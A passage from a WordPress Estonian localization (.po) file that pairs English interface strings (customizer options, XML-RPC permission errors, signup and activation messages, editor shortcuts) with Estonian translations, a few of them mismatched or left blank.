class=\"upload\">Vali</a> soovitud fail või lohista see siia." #: wp-includes/class-wp-customize-control.php:848 #: wp-includes/class-wp-customize-manager.php:1007 msgid "Header Image" msgstr "Päisepilt" #: wp-includes/class-wp-xmlrpc-server.php:407 msgid "Post Thumbnail" msgstr "Postituse pisipilt" #: wp-includes/script-loader.php:96 msgid "text direction" msgstr "teksti suund" #: wp-includes/script-loader.php:97 msgid "Toggle Editor Text Direction" msgstr "Vaheta teksti suunda redaktoris" #: wp-includes/ms-functions.php:634 msgid "Site name must be at least 4 characters." msgstr "Veebilehe nimes peab olema vähemalt 4 tähemärki." #: wp-includes/ms-functions.php:625 msgid "Please enter a site name." msgstr "Palun sisesta veebilehe nimi." #: wp-includes/ms-functions.php:490 msgid "That username is not allowed." msgstr "See kasutajanimi ei ole lubatud." #: wp-includes/ms-functions.php:482 msgid "Please enter a username." msgstr "Palun sisesta kasutajanimi." #: wp-includes/ms-functions.php:662 msgid "Please enter a site title." msgstr "Palun sisesta veebilehe pealkiri." #: wp-includes/ms-functions.php:631 msgid "That name is not allowed." msgstr "See nimi ei ole lubatud." #: wp-includes/ms-functions.php:496 msgid "Username must be at least 4 characters." msgstr "Kasutajanimes peab olema vähemalt 4 tähemärki." #: wp-includes/class-wp-customize-manager.php:1158 msgid "A static page" msgstr "Staatiline leht" #: wp-includes/class-wp-customize-manager.php:978 msgid "Display Header Text" msgstr "Näita päiseteksti" #: wp-includes/class-wp-customize-manager.php:999 msgid "Background Color" msgstr "Taustavärvus" #: wp-includes/class-wp-customize-control.php:803 #: wp-includes/class-wp-customize-manager.php:1027 msgid "Background Image" msgstr "Taustapilt" #: wp-includes/class-wp-customize-manager.php:1049 msgid "Background Repeat" msgstr "Korda tausta" #: wp-includes/class-wp-customize-manager.php:1066 msgid "Background Position" msgstr "Tausta asukoht" #: wp-includes/class-wp-customize-manager.php:1082 msgid "Background Attachment" msgstr "Taustamanus" #: wp-includes/class-wp-customize-control.php:629 msgid "Uploaded" msgstr "Üles laaditud" #: wp-includes/class-wp-customize-control.php:628 msgid "Upload New" msgstr "Laadi üles uus" #: wp-includes/class-wp-customize-control.php:707 msgid "Remove Image" msgstr "Eemalda pilt" #: wp-includes/class-wp-xmlrpc-server.php:3741 msgid "Sorry, you are not allowed to edit this post type." msgstr "Sul ei ole õigust seda tüüpi postitusi muuta." #: wp-includes/class-wp-customize-manager.php:1086 msgid "Scroll" msgstr "Keri" #: wp-includes/class-wp-customize-manager.php:1087 msgid "Fixed" msgstr "Kinnistatud" #: wp-includes/class-wp-customize-manager.php:1053 msgid "No Repeat" msgstr "Ära korda" #: wp-includes/class-wp-customize-manager.php:1054 msgid "Tile" msgstr "Kordus" #: wp-includes/class-wp-customize-manager.php:1055 msgid "Tile Horizontally" msgstr "Korda horisontaalselt" #: wp-includes/class-wp-customize-manager.php:1056 msgid "Tile Vertically" msgstr "Korda vertikaalselt" #: wp-includes/class-wp-customize-manager.php:1169 msgid "Front page" msgstr "Esileht" #: wp-includes/class-wp-customize-manager.php:1181 msgid "Posts page" msgstr "Postituste leht" #: wp-includes/class-wp-customize-control.php:590 msgid "Upload" msgstr "Laadi üles" #: wp-includes/class-wp-customize-control.php:591 #: wp-includes/class-wp-customize-widgets.php:726 #: wp-includes/media-template.php:454 wp-includes/media-template.php:1006 #: wp-includes/media-template.php:1020 wp-includes/media-template.php:1090 #: wp-includes/media-template.php:1102 wp-includes/media-template.php:1123 #: wp-includes/media-template.php:1155 wp-includes/media.php:2918 msgid "Remove" msgstr "Kustuta" #: wp-includes/script-loader.php:393 msgid "Allowed Files" msgstr "Lubatud faiilid" #: wp-includes/class-wp-xmlrpc-server.php:1736 #: wp-includes/class-wp-xmlrpc-server.php:1835 msgid "The term name cannot be empty." msgstr "Termini nimi ei tohi jääda tühjaks." #: wp-includes/class-wp-xmlrpc-server.php:1727 msgid "You are not allowed to create terms in this taxonomy." msgstr "Sul ei ole õigust sellesse taksonoomiasse termineid luua." #: wp-includes/class-wp-xmlrpc-server.php:1740 msgid "This taxonomy is not hierarchical." msgstr "See taksonoomia ei ole hierarhiline." #: wp-includes/class-wp-xmlrpc-server.php:1749 #: wp-includes/class-wp-xmlrpc-server.php:1849 wp-includes/taxonomy.php:2424 msgid "Parent term does not exist." msgstr "Ülemterminit ei ole olemas." #: wp-includes/class-wp-xmlrpc-server.php:1766 msgid "Sorry, your term could not be created. Something wrong happened." msgstr "Vabandust, seda terminit ei saa luua. Midagi läks viltu." #: wp-includes/class-wp-xmlrpc-server.php:1816 msgid "You are not allowed to edit terms in this taxonomy." msgstr "Sul ei ole õigust selle taksonoomia termineid muuta." #: wp-includes/class-wp-xmlrpc-server.php:1840 msgid "This taxonomy is not hierarchical so you can't set a parent." msgstr "See taksonoomia pole hierarhiline - ülemelementi ei saa määrata." #: wp-includes/class-wp-xmlrpc-server.php:1866 msgid "Sorry, editing the term failed." msgstr "Vabandust, termini muutmine ebaõnnestus." #: wp-includes/class-wp-xmlrpc-server.php:1909 msgid "You are not allowed to delete terms in this taxonomy." msgstr "Sul ei ole õigust selles taksonoomias termineid kustutada." #: wp-includes/class-wp-xmlrpc-server.php:1925 msgid "Sorry, deleting the term failed." msgstr "Vabandust, termini kustutamine ebaõnnestus." #: wp-includes/class-wp-xmlrpc-server.php:1977 #: wp-includes/class-wp-xmlrpc-server.php:2031 #: wp-includes/class-wp-xmlrpc-server.php:2120 msgid "You are not allowed to assign terms in this taxonomy." msgstr "Sul ei ole õigust selle taksonoomia termineid määrata." #: wp-includes/default-widgets.php:181 msgid "Select Link Category:" msgstr "Vali viiterubriik:" #: wp-includes/class-wp-xmlrpc-server.php:397 msgid "Template" msgstr "Mall" #: wp-includes/class-wp-xmlrpc-server.php:402 msgid "Stylesheet" msgstr "Stiilileht" #: wp-includes/default-widgets.php:194 msgid "Link title" msgstr "Viite pealkiri" #: wp-includes/default-widgets.php:195 msgid "Link rating" msgstr "Viite hinnang" #: wp-includes/default-widgets.php:196 msgid "Link ID" msgstr "Viite ID" #: wp-includes/default-widgets.php:211 msgid "Number of links to show:" msgstr "Näidatavate viidete arv:" #: wp-includes/class-wp-theme.php:225 msgid "ERROR: The themes directory is either empty or doesn’t exist. Please check your installation." msgstr "VIGA: teemakataloog on kas tühi või puudub. Palun kontrolli enda paigaldust." #: wp-includes/class-wp-theme.php:229 msgid "Stylesheet is not readable." msgstr "Stiilileht on loetamatu." #: wp-includes/class-wp-theme.php:278 wp-includes/class-wp-theme.php:282 msgid "The \"%s\" theme is not a valid parent theme." msgstr "Teema \"%s\" ei ole sobiv ülemteema." #: wp-includes/class-wp-customize-manager.php:1106 msgid "Navigation" msgstr "Navigeerimine" #: wp-includes/class-wp-customize-manager.php:1109 msgid "Your theme supports %s menu. Select which menu you would like to use." msgid_plural "Your theme supports %s menus. Select which menu appears in each location." msgstr[0] "Teema toetab %s menüüd. Vali, millist menüüd kasutada." msgstr[1] "Teema toetab %s menüüd. Vali, millist menüüd igas asukohas kasutada." #: wp-includes/media-template.php:510 msgid "Refresh" msgstr "Värskenda" #: wp-includes/class-wp-customize-manager.php:1139 msgid "Static Front Page" msgstr "Staatiline esileht" #: wp-includes/class-wp-customize-manager.php:1142 msgid "Your theme supports a static front page." msgstr "Sinu kasutatav teema toetab staatilist esilehte." #: wp-includes/class-wp-customize-manager.php:1157 msgid "Your latest posts" msgstr "viimaseid postitusi" #: wp-includes/class-wp-customize-manager.php:1153 msgid "Front page displays" msgstr "Esileht näitab" #: wp-includes/class-wp-customize-manager.php:933 msgid "Site Title & Tagline" msgstr "Veebilehe pealkiri ja lühikirjeldus" #: wp-includes/class-wp-customize-manager.php:955 msgid "Tagline" msgstr "Lühikirjeldus" #: wp-includes/class-wp-customize-control.php:416 #: wp-includes/class-wp-customize-manager.php:1113 #: wp-includes/default-widgets.php:1362 msgid "— Select —" msgstr "- Vali -" #. translators: If your word count is based on single characters (East Asian #. characters), #. enter 'characters'. Otherwise, enter 'words'. Do not translate into your #. own language. #. translators: If your word count is based on single characters (East Asian #. characters), #. enter 'characters'. Otherwise, enter 'words'. Do not translate into #. your own language. #: wp-includes/formatting.php:2602 wp-includes/script-loader.php:370 msgctxt "word count: words or characters?" msgid "words" msgstr "sõna" #: wp-includes/class-wp-xmlrpc-server.php:1168 #: wp-includes/class-wp-xmlrpc-server.php:4747 msgid "The post type may not be changed." msgstr "Postituse tüüpi ei saa muuta." #: wp-includes/class-wp-xmlrpc-server.php:387 msgid "Image default size" msgstr "Pildi mõõtmed vaikimisi" #: wp-includes/class-wp-xmlrpc-server.php:382 msgid "Image default link type" msgstr "Vaikimisi pildiviitetüüp" #: wp-includes/class-wp-xmlrpc-server.php:392 msgid "Image default align" msgstr "Pildi joondus vaikimisi" #: wp-includes/class-wp-xmlrpc-server.php:1166 msgid "Sorry, you are not allowed to edit this post." msgstr "Vabandust, sul ei ole õigust seda postitust muuta." #: wp-includes/post.php:3855 wp-includes/script-loader.php:458 #: wp-includes/script-loader.php:484 msgctxt "tag delimiter" msgid "," msgstr "," #: wp-includes/admin-bar.php:305 msgid "Edit Site" msgstr "Muuda lehte" #: wp-includes/class-wp-xmlrpc-server.php:1642 msgid "Sorry, you are not allowed to edit posts in this post type" msgstr "Vabandust, sul ei ole õigust seda tüüpi postitusi muuta." #: wp-includes/class-wp-xmlrpc-server.php:1204 #: wp-includes/class-wp-xmlrpc-server.php:4489 msgid "Invalid author ID." msgstr "Vigane autori ID." #: wp-includes/class-wp-xmlrpc-server.php:1487 msgid "Sorry, you are not allowed to delete this post." msgstr "Vabandust, sul pole õigust seda postitust kustutada." #: wp-includes/class-wp-xmlrpc-server.php:1322 msgid "Ambiguous term name used in a hierarchical taxonomy. Please use term ID instead." msgstr "Taksonoomiahierarhias on kasutatud mitmetimõistetavat nime. Kasuta selle asemel termini identifikaatorit." #: wp-includes/class-wp-xmlrpc-server.php:1329 msgid "Sorry, you are not allowed to add a term to one of the given taxonomies." msgstr "Vabandust, sul ei ole õigust neisse taksonoomiatesse termineid lisada." #: wp-includes/class-wp-xmlrpc-server.php:1492 msgid "The post cannot be deleted." msgstr "Seda postitust ei saa kustutada." #: wp-includes/class-wp-xmlrpc-server.php:1636 msgid "The post type specified is not valid" msgstr "Valitud postitusetüüp on vigane" #: wp-includes/class-wp-xmlrpc-server.php:1158 #: wp-includes/class-wp-xmlrpc-server.php:3736 #: wp-includes/class-wp-xmlrpc-server.php:4426 #: wp-includes/class-wp-xmlrpc-server.php:4484 #: wp-includes/class-wp-xmlrpc-server.php:4743 #: wp-includes/class-wp-xmlrpc-server.php:4804 msgid "Invalid post type" msgstr "Vale postitusetüüp." #: wp-includes/class-wp-xmlrpc-server.php:1194 msgid "Sorry, you are not allowed to create password protected posts in this post type" msgstr "Vabandust, sul ei ole õigust seda tüüpi postitusi parooli alla panna." #: wp-includes/class-wp-xmlrpc-server.php:1199 #: wp-includes/class-wp-xmlrpc-server.php:4477 msgid "You are not allowed to create posts as this user." msgstr "Sul ei ole õigust selle kasutajana postitada." #: wp-includes/class-wp-xmlrpc-server.php:1180 msgid "Sorry, you are not allowed to create private posts in this post type" msgstr "Vabandust, sul ei ole õigust seda tüüpi privaatpostitusi luua." #: wp-includes/class-wp-xmlrpc-server.php:1185 msgid "Sorry, you are not allowed to publish posts in this post type" msgstr "Vabandust, sul ei ole õigust seda tüüpi postitusi avaldada." #: wp-includes/class-wp-xmlrpc-server.php:1279 #: wp-includes/class-wp-xmlrpc-server.php:1303 msgid "Sorry, you are not allowed to assign a term to one of the given taxonomies." msgstr "Vabandust, sul ei ole õigust neis taksonoomiates termineid määrata." #: wp-includes/class-wp-xmlrpc-server.php:1276 #: wp-includes/class-wp-xmlrpc-server.php:1300 msgid "Sorry, one of the given taxonomies is not supported by the post type." msgstr "Vabandust, see postitusetüüp ei toeta kõiki neid taksonoomiaid." #: wp-includes/class-wp-xmlrpc-server.php:1242 msgid "Sorry, you are not allowed to stick this post." msgstr "Vabandust, sul ei ole õigust seda postitust kleepsuks määrata." #. translators: opening curly double quote #: wp-includes/formatting.php:62 wp-includes/formatting.php:3855 msgctxt "opening curly double quote" msgid "“" msgstr "“" #. translators: closing curly double quote #: wp-includes/formatting.php:64 msgctxt "closing curly double quote" msgid "”" msgstr "”" #. translators: apostrophe, for example in 'cause or can't #: wp-includes/formatting.php:67 msgctxt "apostrophe" msgid "’" msgstr "’" #. translators: prime, for example in 9' (nine feet) #: wp-includes/formatting.php:70 msgctxt "prime" msgid "′" msgstr "′" #. translators: double prime, for example in 9" (nine inches) #: wp-includes/formatting.php:72 msgctxt "double prime" msgid "″" msgstr "″" #. translators: opening curly single quote #: wp-includes/formatting.php:75 msgctxt "opening curly single quote" msgid "‘" msgstr "‘" #. translators: closing curly single quote #: wp-includes/formatting.php:77 msgctxt "closing curly single quote" msgid "’" msgstr "’" #: wp-signup.php:127 msgid "Allow search engines to index this site." msgstr "Luba selle veebilehe indekseerimist otsimootorite poolt." #: wp-load.php:67 msgid "There doesn't seem to be a <code>wp-config.php</code> file. I need this before we can get started." msgstr "WordPressi käivitamiseks vajalikku <code>wp-config.php</code> faili ei leitud — ja selleta ei sõida me kuhugi." #: wp-load.php:68 msgid "Need more help? <a href='http://codex.wordpress.org/Editing_wp-config.php'>We got it</a>." msgstr "Kui vaja, leiad <a href='http://codex.wordpress.org/Editing_wp-config.php'>põhjalikuma õpetuse siit</a>." #: wp-load.php:69 msgid "You can create a <code>wp-config.php</code> file through a web interface, but this doesn't work for all server setups. The safest way is to manually create the file." msgstr "Lihtsaim viis <code>wp-config.php</code> loomiseks käib siitsamast veebiliidese kaudu, kuid see ei pruugi kõigis serverites toimida. Alati toimiv lahendus on faili käsitsi loomine." #: wp-load.php:70 msgid "Create a Configuration File" msgstr "Loo seadetefail" #: wp-includes/admin-bar.php:138 msgid "http://codex.wordpress.org/" msgstr "http://codex.wordpress.org/" #: wp-activate.php:98 msgid "Your site at <a href=\"%1$s\">%2$s</a> is active. You may now log in to your site using your chosen username of “%3$s”. Please check your email inbox at %4$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href=\"%5$s\">reset your password</a>." msgstr "Veebileht <a href=\"%1$s\">%2$s</a> on aktiveeritud. Logi sisse kasutajanimega “%3$s”. Sinu parool ja sisselogimisjuhised saadeti e-postiaadressile %4$s. Kui e-kiri pole saabunud, vaata igaks juhuks üle enda rämpspostikaust. Kui kirja pole tunni aja jooksul saabunud, <a href=\"%5$s\">küsi uus parool</a>." #: wp-signup.php:381 msgid "<a href=\"http://%1$s\">http://%2$s</a> is your new site. <a href=\"%3$s\">Log in</a> as “%4$s” using your existing password." msgstr "<a href=\"http://%1$s\">http://%2$s</a> on sinu uus veebileht. <a href=\"%3$s\">Logi sisse</a> kasutajana “%4$s” kasutades enda olemasolevat salasõna." #: wp-activate.php:96 msgid "Your account has been activated. You may now <a href=\"%1$s\">log in</a> to the site using your chosen username of “%2$s”. Please check your email inbox at %3$s for your password and login instructions. If you do not receive an email, please check your junk or spam folder. If you still do not receive an email within an hour, you can <a href=\"%4$s\">reset your password</a>." msgstr "Sinu konto on aktiveeritud. <a href=\"%1$s\">Logi sisse</a> kasutajanimega “%2$s”. Sinu parool ja sisselogimisjuhised saadeti e-postiaadressile %3$s. Kui e-kiri pole saabunud, vaata igaks juhuks üle enda rämpspostikaust. Kui kirja pole tunni aja jooksul saabunud, <a href=\"%4$s\">küsi uus parool</a>." #: wp-includes/functions.php:1314 msgid "One or more database tables are unavailable. The database may need to be <a href=\"%s\">repaired</a>." msgstr "Üks või mitu andmebaasitabelit on kättesaamatud. Andmebaasi võib olla vaja <a href=\"%s\">parandada</a>." #: wp-mail.php:255 msgid "Mission complete. Message <strong>%s</strong> deleted." msgstr "Tehtud! Sõnum <strong>%s</strong> on kustutatud." #: wp-includes/comment.php:961 wp-includes/comment.php:963 msgid "You are posting comments too quickly. Slow down." msgstr "Postitad kommentaare liiga kiiresti. Võta veidi tempot maha." #: wp-includes/admin-bar.php:598 msgctxt "admin bar menu group label" msgid "New" msgstr "Uus" #: wp-includes/admin-bar.php:634 msgid "%s comment awaiting moderation" msgid_plural "%s comments awaiting moderation" msgstr[0] "%s kommentaar ootab modereerimist" msgstr[1] "%s kommentaari ootab modereerimist" #: wp-includes/script-loader.php:253 msgid "%s exceeds the maximum upload size for the multi-file uploader when used in your browser." msgstr "Fail %s on selle üleslaadija jaoks liiga suur. " #: wp-includes/script-loader.php:252 msgid "Please try uploading this file with the %1$sbrowser uploader%2$s." msgstr "Palun kasuta selle faili üleslaadimiseks %1$sveebilehitsejat%2$s." #: wp-includes/script-loader.php:261 msgid "“%s” has failed to upload." msgstr "Faili “%s” üleslaadimine ebaõnnestus." #: wp-includes/class-wp-editor.php:1213 msgid "Blockquote (Alt + Shift + Q)" msgstr "Tsitaadiplokk (Alt-Shift-Q)" #: wp-includes/default-widgets.php:183 msgctxt "links widget" msgid "All Links" msgstr "Kõik viited" #. translators: en dash #: wp-includes/formatting.php:80 msgctxt "en dash" msgid "–" msgstr "–" #. translators: em dash #: wp-includes/formatting.php:82 msgctxt "em dash" msgid "—" msgstr "—" #: wp-includes/class-wp-admin-bar.php:108 msgid "The menu ID should not be empty." msgstr "Menüü ID ei tohi olla tühi." #: wp-includes/admin-bar.php:111 wp-includes/admin-bar.php:120 msgid "About WordPress" msgstr "WordPressi info" #: wp-includes/script-loader.php:241 msgid "%s exceeds the maximum upload size for this site." msgstr "Fail %s on selle veebilehe jaoks liiga suur. " #: wp-includes/functions.php:3369 msgid "Please see <a href=\"http://codex.wordpress.org/Debugging_in_WordPress\">Debugging in WordPress</a> for more information." msgstr "<a href=\"http://codex.wordpress.org/Debugging_in_WordPress\">Dokumentatsioon</a>" #: wp-includes/admin-bar.php:153 msgid "Feedback" msgstr "Tagasiside" #: wp-comments-post.php:128 msgid "<strong>ERROR</strong>: please type a comment." msgstr "<strong>VIGA</strong>: palun sisesta kommentaar." #: wp-comments-post.php:124 msgid "<strong>ERROR</strong>: please enter a valid email address." msgstr "<strong>VIGA</strong>: palun sisesta toimiv e-postiaadress." #: wp-comments-post.php:122 msgid "<strong>ERROR</strong>: please fill the required fields (name, email)." msgstr "<strong>VIGA</strong>: palun täida nõutavad väljad (nimi, e-post)." #: wp-includes/script-loader.php:523 msgid "Could not load the preview image. Please reload the page and try again." msgstr "Eelvaatluse juures tekkis viga. Palun laadi leht uuesti ja proovi veel kord." #: wp-includes/ms-functions.php:315 msgid "<strong>ERROR</strong>: Site URL already taken." msgstr "<strong>VIGA</strong>: see aadress on juba kasutuses." #: wp-includes/ms-functions.php:322 msgid "<strong>ERROR</strong>: problem creating site entry." msgstr "<strong>VIGA</strong>: probleem lehe loomisega." #: wp-includes/admin-bar.php:137 msgid "Documentation" msgstr "Dokumentatsioon" #: wp-includes/admin-bar.php:145 msgid "Support Forums" msgstr "Tugifoorum" #: wp-includes/formatting.php:2597 wp-includes/general-template.php:2547 msgid "…" msgstr "…" #: wp-includes/functions.php:3137 msgid "Database Error" msgstr "Andmebaasi viga" #: wp-includes/functions.php:3141 wp-includes/ms-load.php:398 msgid "Error establishing a database connection" msgstr "Andmebaasiga ei saadud ühendust" #: wp-includes/admin-bar.php:129 msgid "WordPress.org" msgstr "WordPress.org" #: wp-includes/admin-bar.php:279 msgid "Global Dashboard: %s" msgstr "Ühistöölaud: %s" #: wp-includes/admin-bar.php:277 msgid "Network Admin: %s" msgstr "Võrgustikuhaldur: %s" #: wp-includes/taxonomy.php:475 msgctxt "taxonomy general name" msgid "Tags" msgstr "Sildid" #: wp-includes/taxonomy.php:476 msgctxt "taxonomy singular name" msgid "Tag" msgstr "Silt" #: wp-includes/functions.wp-scripts.php:40 #: wp-includes/functions.wp-scripts.php:77 #: wp-includes/functions.wp-scripts.php:117 #: wp-includes/functions.wp-scripts.php:143 #: wp-includes/functions.wp-scripts.php:199 #: wp-includes/functions.wp-scripts.php:227 #: wp-includes/functions.wp-scripts.php:252 #: wp-includes/functions.wp-styles.php:39 #: wp-includes/functions.wp-styles.php:72 #: wp-includes/functions.wp-styles.php:107 #: wp-includes/functions.wp-styles.php:129 #: wp-includes/functions.wp-styles.php:162 #: wp-includes/functions.wp-styles.php:188 #: wp-includes/functions.wp-styles.php:212 msgid "Scripts and styles should not be registered or enqueued until the %1$s, %2$s, or %3$s hooks." msgstr "Skripte ja stiile ei tohiks registreerida või järjestada enne $1$s, %2$s või %3$s kasutamist." #: wp-includes/class-wp-xmlrpc-server.php:484 msgid "Allow link notifications from other blogs (pingbacks and trackbacks)" msgstr "Luba viitemärguandeid teistest ajaveebidest (<em>pingback</em> ja <em>trackback</em>)." #: wp-includes/capabilities.php:618 wp-includes/capabilities.php:638 #: wp-includes/capabilities.php:664 msgid "Use <code>WP_User->ID</code> instead." msgstr "Kasuta parem <code>WP_user->ID</code> -valikut." #: wp-includes/ms-functions.php:1969 msgid "You have been added to this site. Please visit the <a href=\"%s\">homepage</a> or <a href=\"%s\">log in</a> using your username and password." msgstr "Sellel veebilehel on hetkel sisse lülitatud ainult üks teema. Võrgustikuhaldur saab <a href=\"%1$s\">lülitada sisse</a> või <a href=\"%2$s\">paigaldada</a> uusi teemasid." #: wp-includes/script-loader.php:245 msgid "Memory exceeded. Please try another smaller file." msgstr "Mälu sai täis - palun proovi mõnd väiksemat faili." #: wp-includes/script-loader.php:246 msgid "This is larger than the maximum size. Please try another." msgstr "See fail ületab lubatud suurusepiirangut. Proovi mõnd teist." #: wp-includes/script-loader.php:244 msgid "This file is not an image. Please try another." msgstr "See ei ole pildifail. Proovi mõnd teist." #: wp-includes/general-template.php:2635 msgctxt "admin color scheme" msgid "Blue" msgstr "Sinine" #: wp-includes/formatting.php:3416 msgid "The timezone you have entered is not valid. Please select a valid timezone." msgstr "Sisestatud ajavöönd on vigane. Palun sisesta korrektne ajavöönd." #: wp-includes/ms-functions.php:1468 msgid "" "Dear User,\n" "\n" "Your new SITE_NAME site has been successfully set up at:\n" "BLOG_URL\n" "\n" "You can log in to the administrator account with the following information:\n" "Username: USERNAME\n" "Password: PASSWORD\n" "Log in here: BLOG_URLwp-login.php\n" "\n" "We hope you enjoy your new site. Thanks!\n" "\n" "--The Team @ SITE_NAME" msgstr "" #: wp-includes/post.php:56 msgctxt "add new from admin bar" msgid "Media" msgstr "Meedia" #: wp-includes/admin-bar.php:593 msgctxt "add new from admin bar" msgid "User" msgstr "Kasutaja" #: wp-includes/pluggable.php:1073 msgid "You should specify a nonce action to be verified by using the first parameter." msgstr "Siin tuleks esimese parameetrina määrata kontrollitav tegevus." #: wp-includes/taxonomy.php:483 msgid "View Tag" msgstr "Vaata silti" #: wp-includes/taxonomy.php:483 msgid "View Category" msgstr "Vaata rubriiki" #: wp-includes/js/tinymce/wp-mce-help.php:137 msgid "Wider" msgstr "Laiemaks" #: wp-includes/js/tinymce/wp-mce-help.php:138 msgid "Narrower" msgstr "Kitsamaks" #: wp-includes/js/tinymce/wp-mce-help.php:139 msgid "Default width" msgstr "Vaikimisi laius" #: wp-includes/class-wp-editor.php:1263 msgid "Word count: %s" msgstr "Sõnade arv: %s" #: wp-activate.php:121 msgid "Your account is now activated. <a href=\"%1$s\">Log in</a> or go back to the <a href=\"%2$s\">homepage</a>." msgstr "Sinu konto on aktiveeritud. <a href=\"%1$s\">Logi sisse</a> või <a href=\"%2$s\">mine tagasi esilehele</a>." #: wp-activate.php:119 msgid "Your account is now activated. <a href=\"%1$s\">View your site</a> or <a href=\"%2$s\">Log in</a>" msgstr "Sinu konto on aktiveeritud. <a href=\"%1$s\">Mine esilehele</a> või <a href=\"%2$s\">logi sisse</a>" #: wp-includes/class-wp-editor.php:1217 msgid "Help (Alt + Shift + H)" msgstr "Abiinfo (Alt-Shift-H)" #: wp-includes/admin-bar.php:191 msgid "Howdy, %1$s" msgstr "Hei, %1$s" #: wp-includes/class-wp-editor.php:1194 msgid "Exit fullscreen" msgstr "Välju üleekraanirežiimist" #: wp-includes/class-wp-editor.php:1264 msgid "Just write." msgstr "Lihtsalt kirjuta." #: wp-includes/script-loader.php:428 msgid "Approve and Reply" msgstr "Kiida heaks ja vasta" #: wp-includes/post.php:1633 msgid "All Posts" msgstr "Kõik postitused" #: wp-includes/post.php:1633 msgid "All Pages" msgstr "Kõik lehed" #: wp-includes/class-wp-editor.php:1253 msgid "Updated." msgstr "Uuendatud." #: wp-includes/script-loader.php:94 msgid "fullscreen" msgstr "Üleekraanirežiim" #: wp-includes/class-wp-editor.php:1209 msgid "Bold (Ctrl + B)" msgstr "Rasvane kiri (Ctrl-B)" #: wp-includes/class-wp-editor.php:1210 msgid "Italic (Ctrl + I)" msgstr "Kaldkiri (Ctrl-I)" #: wp-includes/class-wp-editor.php:1212 msgid "Ordered list (Alt + Shift + O)" msgstr "Järjestatud list (Alt-Shift-O)" #: wp-includes/class-wp-editor.php:1211 msgid "Unordered list (Alt + Shift + U)" msgstr "Järjestamata loend (Alt-Shift-U)" #: wp-includes/class-wp-editor.php:1215 msgid "Insert/edit link (Alt + Shift + A)" msgstr "Lisa/muuda viide (Alt-Shift-A)" #: wp-includes/class-wp-editor.php:1216 msgid "Unlink (Alt + Shift + S)" msgstr "Eemalda viide (Alt-Shift-S)" #: wp-includes/comment-template.php:1774 msgid "Pingback:" msgstr "Pingback:" #: wp-includes/class-wp-editor.php:831 msgid "Poster" msgstr "Postitaja" #: wp-includes/media-template.php:1037 wp-includes/media-template.php:1127 msgid "Preload" msgstr "Eellaadimine" #: wp-includes/class-http.php:221 msgid "Destination directory for file streaming does not exist or is not writable." msgstr "Faili voogedastuse sihtkataloogi ei ole olemas või see pole kirjutatav." #: wp-includes/class-http.php:350 msgid "There are no HTTP transports available which can complete the requested request." msgstr "Soovitud päringu täitmiseks pole sobivat HTTP kanalit saadaval." #: wp-includes/taxonomy.php:119 wp-includes/taxonomy.php:120 msgctxt "post format" msgid "Format" msgstr "" #: wp-includes/class-wp-editor.php:1383 msgid "Enter the destination URL" msgstr "Sisesta sihtkoha URL" #: wp-includes/class-wp-editor.php:1394 msgid "Or link to existing content" msgstr "või seosta olemasoleva sisuga" #: wp-includes/query.php:144 wp-includes/query.php:165 #: wp-includes/query.php:186 wp-includes/query.php:210 #: wp-includes/query.php:234 wp-includes/query.php:258 #: wp-includes/query.php:287 wp-includes/query.php:307 #: wp-includes/query.php:327 wp-includes/query.php:347 #: wp-includes/query.php:368 wp-includes/query.php:388 #: wp-includes/query.php:418 wp-includes/query.php:447 #: wp-includes/query.php:467 wp-includes/query.php:494 #: wp-includes/query.php:514 wp-includes/query.php:534 #: wp-includes/query.php:554 wp-includes/query.php:574 #: wp-includes/query.php:603 wp-includes/query.php:630 #: wp-includes/query.php:650 wp-includes/query.php:670 #: wp-includes/query.php:690 wp-includes/query.php:710 msgid "Conditional query tags do not work before the query is run. Before then, they always return false." msgstr "Tingimuslikud päringusildid ei tööta enne päringu käivitamist. Enne seda on nende väärtuseks alati \"väär\"." #: wp-includes/ms-functions.php:1001 msgid "The user is already active." msgstr "See kasutaja on juba aktiveeritud." #: wp-includes/functions.php:3370 msgid "%1$s was called <strong>incorrectly</strong>. %2$s %3$s" msgstr "%1$s käitamisel tekkis <strong>viga</strong>. %2$s %3$s" #: wp-includes/functions.php:3368 msgid "(This message was added in version %s.)" msgstr "(See teade lisati versioonis %s.)" #: wp-includes/class-wp-xmlrpc-server.php:5695 msgid "Sorry, you cannot publish this post." msgstr "Vabandust, sa ei saa seda postitust avaldada." #: wp-includes/pluggable.php:1418 msgid "Permalink: %s" msgstr "Püsiviide: %s" #: wp-includes/post-formats.php:92 msgctxt "Post format" msgid "Standard" msgstr "Standardne" #: wp-includes/post.php:1337 wp-includes/post.php:1338 msgid "Post types cannot exceed 20 characters in length" msgstr "Postitusetüübid ei tohi olla pikemad kui 20 tähemärki" #: wp-signup.php:112 msgid "Your address will be %s." msgstr "Sinu aadressiks on %s." #: wp-signup.php:111 msgid "domain" msgstr "domeen" #: wp-includes/admin-bar.php:605 msgctxt "admin bar menu group label" msgid "Add New" msgstr "Lisa uus" #: wp-includes/post-formats.php:101 msgctxt "Post format" msgid "Audio" msgstr "Heli" #: wp-includes/class-wp-xmlrpc-server.php:4448 #: wp-includes/class-wp-xmlrpc-server.php:4753 msgid "Invalid post format" msgstr "Vale postitusevorming." #: wp-includes/pluggable.php:1410 wp-includes/pluggable.php:1539 msgid "Whois : http://whois.arin.net/rest/ip/%s" msgstr "Whois : http://whois.arin.net/rest/ip/%s" #: wp-includes/class-wp-editor.php:1391 wp-includes/media-template.php:963 msgid "Open link in a new window/tab" msgstr "Ava viide uues aknas/sakis" #: wp-includes/class-wp-editor.php:1411 msgid "No search term specified. Showing recent items." msgstr "Otsitavat ei määratud - näitan viimaseid tulemusi." #: wp-includes/plugin.php:806 msgid "Only a static class method or function can be used in an uninstall hook." msgstr "Paigalduse eemaldamise liideses saab kasutada ainult staatilisi klassimeetodeid ja -funktsioone." #: wp-includes/post.php:2999 msgid "Passing an integer number of posts is deprecated. Pass an array of arguments instead." msgstr "Täisarvulise väärtuse edastamine postituste arvuna on iganenud viis. Parem on kasutada argumentide massiivi." #: wp-includes/post-formats.php:93 msgctxt "Post format" msgid "Aside" msgstr "Kõrval" #: wp-includes/post-formats.php:94 msgctxt "Post format" msgid "Chat" msgstr "Vestlus" #: wp-includes/post-formats.php:95 msgctxt "Post format" msgid "Gallery" msgstr "Galerii " #: wp-includes/post-formats.php:96 msgctxt "Post format" msgid "Link" msgstr "" #: wp-includes/post-formats.php:97 msgctxt "Post format" msgid "Image" msgstr "Pilt" #: wp-includes/post-formats.php:98 msgctxt "Post format" msgid "Quote" msgstr "Tsitaat" #: 